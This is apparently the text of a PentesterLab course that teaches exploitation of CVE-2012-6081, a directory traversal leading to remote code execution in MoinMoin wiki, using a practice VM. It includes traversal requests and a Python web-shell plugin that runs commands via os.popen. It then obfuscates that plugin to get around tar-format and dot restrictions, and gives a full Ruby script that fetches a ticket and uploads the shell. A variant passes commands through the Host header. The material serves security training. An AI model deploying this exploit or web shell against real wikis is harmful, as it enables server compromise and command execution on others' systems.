cve-2012-6081

25
CVE-2012-6081: MOINMOIN CODE EXECUTION By Louis Nyffenegger <[email protected]>

Transcript of cve-2012-6081

CVE-2012-6081: MOINMOIN CODEEXECUTION

By Louis Nyffenegger <[email protected]>

246667

10101113152325

Table of Content

Table of ContentIntroductionAbout this exercise

LicenseSyntax of this courseThe web application

CVE-2012-6081Reading the advisoryTriggering the bugWriting a pluginGeting code executionOptimisation

Conclusion

2/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

3/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

IntroductionThis course details the exploitation of a code execution in MoinMoin wiki.This bug was exploited to compromise http://wiki.python.org/ andhttp://wiki.debian.org/. Both incidents have been detailed in the followingpages: http://wiki.debian.org/DebianWiki/SecurityIncident2012 andhttp://wiki.python.org/moin/WikiAttack2013. The exploitation's methodused is based on an exploit from Pastebin. The exploitation is really trickyand there are a lot of things to keep in mind and a lot of cool tricks used inthis exploit.

If you feel really confortable (and work with a team), you can try to exploitthis vulnerability without following the course. To do so, you need to followthe following steps:

Read the advisories, the patches of CVE-2012-6080 and CVE-2012-6081.

4/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Read the information from the links above and how thevulnerability was exploited.

Use the ISO to understand where the files are stored and howyou can manipulate this path.

Use the ISO to understand how the files are stored and howyou can manipulate their content and what limitations exist.

Use the MoinMoin documentation to create a valid MoinMoinplugin.

Use the vulnerability to deploy your plugin and look at the filegenerate on the system.

play with the file until you manage to gain code execution(good luck).

5/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

About this exercise

LicenseThis exercise by PentesterLab is licensed under the Creative CommonsAttribution-NonCommercial-NoDerivs 3.0 Unported License. To view a copyof this license, visit http://creativecommons.org/licenses/by-nc-nd/3.0/.

Syntax of this course6/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

The red boxes provide information on mistakes/issues that are likely tohappen while testing:

An issue that you may encounter...

The green boxes provide tips and information if you want to go further.

You should probably check...

The blue boxes are "homework": things you can work on once you aredone with this exercise:

You should probably work on...

The web applicationOnce the system has booted, you can then retrieve the current IP addressof the system using the command ifconfig:

7/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

$ ifconfig eth0eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:88 errors:0 dropped:0 overruns:0 frame:0 TX packets:77 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:10300 (10.0 KiB) TX bytes:10243 (10.0 KiB) Interrupt:11 Base address:0x8000

In this example the IP address is 10.0.2.15.

Throughout the training, the hostname vulnerable is used for thevulnerable machine, you can either replace it by the IP address of themachine, or you can just add an entry to your host file with this name andthe corresponding IP address. It can be easily done by modifying:

On Windows, your C:\Windows\System32\Drivers\etc\hosts file.On Unix/Linux and Mac OS X, your /etc/hosts file.

The IP address can change if you restart the system,don't forget to update your hosts file.

Once you access the web application, you should see the following page:

8/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

9/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

CVE-2012-6081

Reading the advisoryThe advisory details two vulnerabilities:

CVE-2012-6080: a directory traversal in AttachFile.py.CVE-2012-6081: a directory traversal in twikidraw.py and

anywikidraw.py that can leads to code execution.

If you look at the patches, they are fairly simple: a parameter target wasnot tainted and is now tainted:

10/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Triggering the bugTo trigger the bug, we need to find a way to access the functionality. Theeasiest way to find a page you are allowed to modify is to create anaccount (the good news is that you don't need it to exploit thevulnerability), log in and go to your profile (by clicking on your login nameon the top left). Then, you can create your home page (by clicking "Createmy home page now!") and add the following wiki syntax:

{{drawing:test.tdraw}}

(for twikidraw) or (for anywikidraw):

{{drawing:test.adraw}}

Once you saved the page, you should see an attachment icon:

11/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Once you click this icon, the application should give you a Java applet thatwill allow you to create, edit and save your drawing. By using a proxy likeBurp Suite, you can see the requests sent to the server.

The first request retrieves a ticket that will later be used:

GET /moin/WikiSandBox?action=twikidraw&do=modify&target=../../../../data/plugin/action/moinexec.py HTTP/1.0Host: vulnerable

HTTP/1.1 200 OK[...] <param name="savepath" value="/moin/WikiSandBox?action=twikidraw&amp;do=save&amp;ticket=005163768a.55c876ce10957c9093689e167ba9d1411e4764e8&amp;target=..%2F..%2F..%2F..%2Fdata%2Fplugin%2Faction%2Fmoinexec.py">[...]

In the second request, we can see the ticket parameter and the file sent:

12/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

POST /moin/WikiSandBox?action=twikidraw&do=save&ticket=00516376c4.81c62af99e648ca56444788f938f8c3b793bb853&target=../../../../data/plugin/action/moinexec.py HTTP/1.1Host: vulnerableContent-Type: multipart/form-data; boundary=pentesterlabContent-Length: 333

--pentesterlabContent-Disposition: form-data; name="filename"Content-Type: image/png

drawing.png--pentesterlabContent-Disposition: form-data; name="filepath"; filename="drawing.png"Content-Type: image/png

[...]--pentesterlab--

Writing a pluginAccording to Debian's details, the vulnerability was exploited by creating aplugin. It's a common way to get code execution once you are able towrite a file on the system.

13/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

By reading the Moinmoin's documentation, we can see that there aremultiple types of plugins: Action, Parser, Macro, Formatter and Theme. Themore appropriate for our usage seems to be the Action. An Action pluginhas to follow this API:

def execute(pagename, request): [...]

Now our goal is to use this plugin to gain code execution, we will need touse os.popen to run commands and write the result of the command in theresponse:

import osdef execute(pagename, request): stream = os.popen(request.values['cmd']) request.write(stream.read())

If we manually (using the shell access) deploy this plugin inside the plugindirectory of MoinMoin (/var/lib/moin/mywiki/data/plugin/action/) andname it test.py. We can see that everything is working just fine byaccessing the page http://vulnerable/moin/WikiSandBox?action=test&cmd=uname%20-a:

14/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Geting code executionIf you follow the execution path, you can see that the following actions areperformed with the filename:

basepath, basename = os.path.split(filename)basename, ext = os.path.splitext(basename)[...]ci = AttachFile.ContainerItem(request, pagename, target)[...]ci.put('drawing' + ext, filecontent, content_length)

In this code, two values are under user's control:

the filename's extension: ext.the content of the file: filecontent.

However the extension ext is concatenate to the string drawing. The file willthen be put in a tar file by the line ci.put (in MoinMoin/action/AttachFile.pyline 630).

One of the hard constraint is that our code needs to be the first thing inthe file. If we look at the tar format we can see that the filename will beused as if (and therefore be the first thing in the file) unless its size is lessthan 100 characters.

15/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

We can test this and check Python's behaviour by creating 2 files with afilename of 100 and 101 characters and use Python to generate thecorresponding tar file:

import osimport tarfile

# 100 characters filenamef = open("a"*100, 'w')f.closetar100 = tarfile.open("100.tar", "w")tar100.add("a"*100)tar100.close()

# 101 characters filenamef = open("a"*101, 'w')f.closetar101 = tarfile.open("101.tar", "w")tar101.add("a"*101)tar101.close()

# cleanupos.unlink("a"*100)os.unlink("a"*101)

We can now see the difference between the two files:

16/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

% cat 100.taraaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar snyffstaff00000000000000

% cat 101.tar././@LongLink0000000000000000000000000000014600000000000011216 Lustar 00000000000000aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000644000076500000240000000000012132453221034255 0ustar snyffstaff00000000000000

As we said before we only control the extension part of the filename. Sinceit's an extension our payload needs to start with a . and cannot containany further . (otherwise it will be considered as the start of the extension).Based on the code above, we know that our final Python code (the plugin)will look like drawing[.PAYLOAD]. Problem is there is no drawing object usedbefore, therefore the payload need to make sure this code will not getcalled. The actual exploit use an always-false condition to avoid this and aunusual way to write if statement in Python:

drawing.z if()else()

This line will ensure that the code drawing.z does not get called.

17/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Now, if we go back to the initial plugin's code, we can see that there areseveral . (and that there is also a length problem):

drawing.z if()else()import osdef execute(pagename, request): stream = os.popen(request.values['cmd']) request.write(stream.read())

We can quickly rewrite it using smaller variables' name:

drawing.z if()else()import osdef execute(p, r): r.write(os.popen(r.values['c']).read())

We can get rid of the . by using python's function exec and pass it a stringwith the . encoded as \x2e:

drawing.z if()else()import osdef execute(p, r): exec("r\x2ewrite(os\x2epopen(r\x2evalues['c'])\x2eread())")

However, this payload is still too big and won't fit in the 100-characterslimit created by the tar file format.

18/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

It's possible to save few characters by replacing \x2e by the octalrepresentation of a .: \56. The new payload is smaller (104 characters butstill too big):

drawing.z if()else()import osdef execute(p, r): exec("r\56write(os\56popen(r\56values['c'])\56read())")

The last improvment done to reduce the size of the payload is to replace r\56write(...) by print>>r,... (to avoid the . encoded as \56) and removethe brackets used by exec:

drawing.z if()else()import osdef execute(p, r): exec"print>>r,os\56popen(r\56values['c'])\56read()"

Finally, the encoded payload to be used within the Python code is:

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

If we put together all the constraints on the payload that the exploitmanages to bypass we get the following:

1. It's valid python code.19/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

2. It starts with drawing..3. It contains def execute(p,r):.4. It does not contain any dot (.)5. It is less than 100 characters (due to the tar format).

We can now use it as part of a script used to get the ticket and upload themalicious plugin:

20/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

require 'socket'

# function used to send request# does not support chunk, gzip, zlib :pdef ssend(req) #{{ socket=TCPSocket.new('vulnerable',80) puts req socket.write(req) resp = "" s="" while (s= socket.readline and !s.nil? ) puts s resp+= s break if s =~ /^\r\n$/ end if resp=~ /^Content-Length:\s+(\d+)\s*$/i resp+= socket.read($1.to_i) else resp = socket.read end respend #}}

# getting valid ticketresp = ssend("GET /moin/WikiSandBox?action=twikidraw&do=modify&target=../../../../data/plugin/action/moinexec.py HTTP/1.0\r\nHost: vulnerable\r\n\r\n")if resp =~ /ticket=(.*?)&amp;target=/ ticket = $1

21/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

end

head = "POST /moin/WikiSandBox?action=twikidraw&do=save&ticket=#{ticket}&target=../../../../data/plugin/action/moinexec.py HTTP/1.1\r\nHost: vulnerable\r\nContent-Type: multipart/form-data; boundary=pentesterlab\r\nContent-Length: "

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56values['c'])\\56read()\""

# Building the request's body:

body = "--pentesterlab\r\n"

# Payload:body += "Content-Disposition: form-data; name=\"filename\"\r\nContent-Type: image/png\r\n\r\n#{payload}\r\n--pentesterlab\r\n"

# File content:body += "Content-Disposition: form-data; name=\"filepath\"; filename=\"drawing.png\"\r\nContent-Type: image/png\r\n\r\nBLAH\r\n--pentesterlab--\r\n"

#Final requestputs head+body.size.to_s+"\r\n\r\n"+bodyputs ssend(head+body.size.to_s+"\r\n\r\n"+body)

22/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

Here the Moinmoin installation uses CGI, which allowsyou to gain code execution without restarting the

server. Most installations are likely to use WSCGI ormod_python and they will require a restart before

your plugin get loaded.

After running this script, we can finally get commands execution byaccessing http://vulnerable/moin/WikiSandBox?action=moinexec&c=uname%20-a:

OptimisationAfter understanding all the restrictions bypassed by the exploit, it'spossible to find other optimisations. First, the request is based on the Request class from the Python project werkzeug. If you check the sourcecode or the documentation, you can find that the methods args is similarto values and is shorter. That can be used to save two bytes.

Another method, is to use the method host, instead of args['c'] and todirectly inject the command inside the Host header:

23/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

payload = "drawing.s if()else()\nimport os\ndef execute(p,r):exec\"print>>r,os\\56popen(r\\56host)\\56read()\""

It allows us to save several bytes, however it will not work if the serveruses virtual hosting. It's still a funny example of what can be done. If youchoose this method, the following request can be used to run commands(example with uname -a):

GET /moin/WikiSandBox?action=moinexec HTTP/1.1Host: uname -a

24/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution

ConclusionThis exercise showed you how to exploit the code execution in MoinMoinwiki (aka CVE-2012-6081). I hope the course provides you with more detailson how this vulnerability works and how you can get a working exploit.You can use Talkback to get updates on the vulnerability:http://talkback.volvent.org/cgi-bin/view_vuln.cgi?id=CVE-2012-6081. It's avery neat exploit and it shows multiple tricks to finally get code executionand that's why I thought it was worth working on it. As always, when aproject like MoinMoin get a command execution vulnerabilities found, it'sunlikely to be a trivial bug, that's why it's always interesting to have acloser look.

25/25

PentesterLab.com » CVE-2012-6081: MoinMoin code execution